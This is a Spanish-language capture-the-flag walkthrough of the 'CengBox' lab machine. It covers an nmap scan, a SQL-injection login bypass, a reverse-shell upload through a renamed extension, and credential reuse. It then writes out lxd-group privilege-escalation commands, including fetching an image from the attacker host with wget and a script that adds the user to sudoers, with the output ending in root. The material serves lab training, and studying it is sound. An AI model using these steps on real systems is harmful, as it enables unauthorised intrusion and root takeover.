Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 23:09 CEST
Nmap scan report for 192.168.5.159
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:cc:28:f3:8c:f5:0e:3f:5a:ed:13:f3:ad:53:13:9b (RSA)
| 256 f7:3a:a3:ff:a1:f7:e5:1b:1e:6f:58:5f:c7:02:55:9b (ECDSA)
|_ 256 f0:dd:2e:1d:3d:0a:e8:c1:5f:52:7c:55:2c:dc:1e:ef (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: CEng Company
MAC Address: 00:0C:29:CA:B0:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.87 ms 192.168.5.159
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds
Gobuster
Info:
Vemos interesante sobre todo /masteradmin, no podemos entrar en el directamente, pero si le tiraremos un gobuster para ver que subdirectorios nos saca...
Info:
Vemos que hay un login.php, por lo que si nos metemos dentro aparecera un panel de login, si en el campo de usuario metemos lo siguiente...
Haciendo SQL Injection y en el campo de la password le metemos lo que sea, nos llevara automaticamente a la siguiente URL...
Y aqui podremos subir lo que queramos, por lo que hacemos lo siguiente...
Crearemos un archivo con una Reverse Shell...
Sera con .php pero si subimos por ejemplo un archivo llamado shell.php no nos dejara tiene que ir con una extension determinada de la siguienre manera shell.ceng...
Lo subiremos con esa extension ya que igualmente se ejecutara la shell, no hace falta cambiarlo con BurpSuit ni nada parecido..
Este archivo se subira en una URL que encontramos antes de /uploads en la pagina principal con el primero Gobuster que encontramos...
Ya que si nos vamos a solo /uploads no nos aparecera nada por lo que pondremos el nombre del archivo que subimos, igualmente esto se puede descubrir poniendo el siguiente comando...
Info:
Una vez que nos metamos en /uploads/shell.ceng estando a la escucha...
Nos creara una shell con el usuario www-data por lo que lo tendremos que sanitizar la shell...
Si nos vamos al archivo db.php que vimos antes haciendo un...
Veremos lo siguiente...
Lo que sugiere que nos podremos conectar como root a mysql...
Una vez dentro haremos estos pasos siguientes...
Veremos un usuario y contraseña, pero esa contraseña la podremos utilizar tambien para conectarnos al usuario del servidor llamado cengover...
Y metemos esa password...
Por lo que ya seriamos el usuario, pero mejor nos conectaremos por ssh...
Una vez siendo ese usuario, leemos la flag...
user.txt (flag1)
Si hacemos el siguiente comando...
Veremos que estamos en un grupo muy caracteristico para escalar privilegios llamado 110(lxd)...
Por lo que haremos lo siguiente...
Una vez hecho todo eso seremos root pero dentro de un contenedor y aunque importemos la carpeta de root al contenedor no va a funcionar, por lo que nos saldremos de ese contenedor y haremos lo siguiente...
Para ver como se llama nuestro contenedor, una vez verificado eso, importaremos un repositorio de github...
URL = https://github.com/initstring/lxd_root
Info:
Si nos aparece esto tal cual es que funciono comprobandolo de la siguiente manera...
Una vez visto eso, tendremos que hacer...
Y ya seriamos root, por lo que leemos la flag en la carpeta de root...
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
# build a simple alpine image in your host
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 80
# import the image
# It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
cd /tmp/
wget http://<IP>/<FILE_NAME>.tar.gz
lxc image import ./alpine*.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Check the image is there
lxc image list
#Importarlo
git clone https://github.com/initstring/lxd_root.git
#Meternos dentro de la carpeta
cd lxd_root/
bash lxd_rootv1.sh <CONTAINER_NAME>
[+] Stopping container mycontainer
[+] Setting container security privilege on
[+] Starting container mycontainer
[+] Mounting host root filesystem to mycontainer
error: More than one disk device uses the same path: /mnt/root.
[+] Using container to add cengover to /etc/sudoers
[+] Unmounting host root filesystem from mycontainer
error: The device doesn't exist
[+] Resetting container security privilege to off
[+] Stopping the container
[+] Done! Enjoy your sudo superpowers!
sudo id
uid=0(root) gid=0(root) groups=0(root)
sudo su
/ ____| ____| | _ \
| | | |__ _ __ __ _| |_) | _____ __
| | | __| | '_ \ / _` | _ < / _ \ \/ /
| |____| |____| | | | (_| | |_) | (_) > <
\_____|______|_| |_|\__, |____/ \___/_/\_\
__/ |
|___/
Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_
a51e522b22a439b8e1b22d84f71cf0f2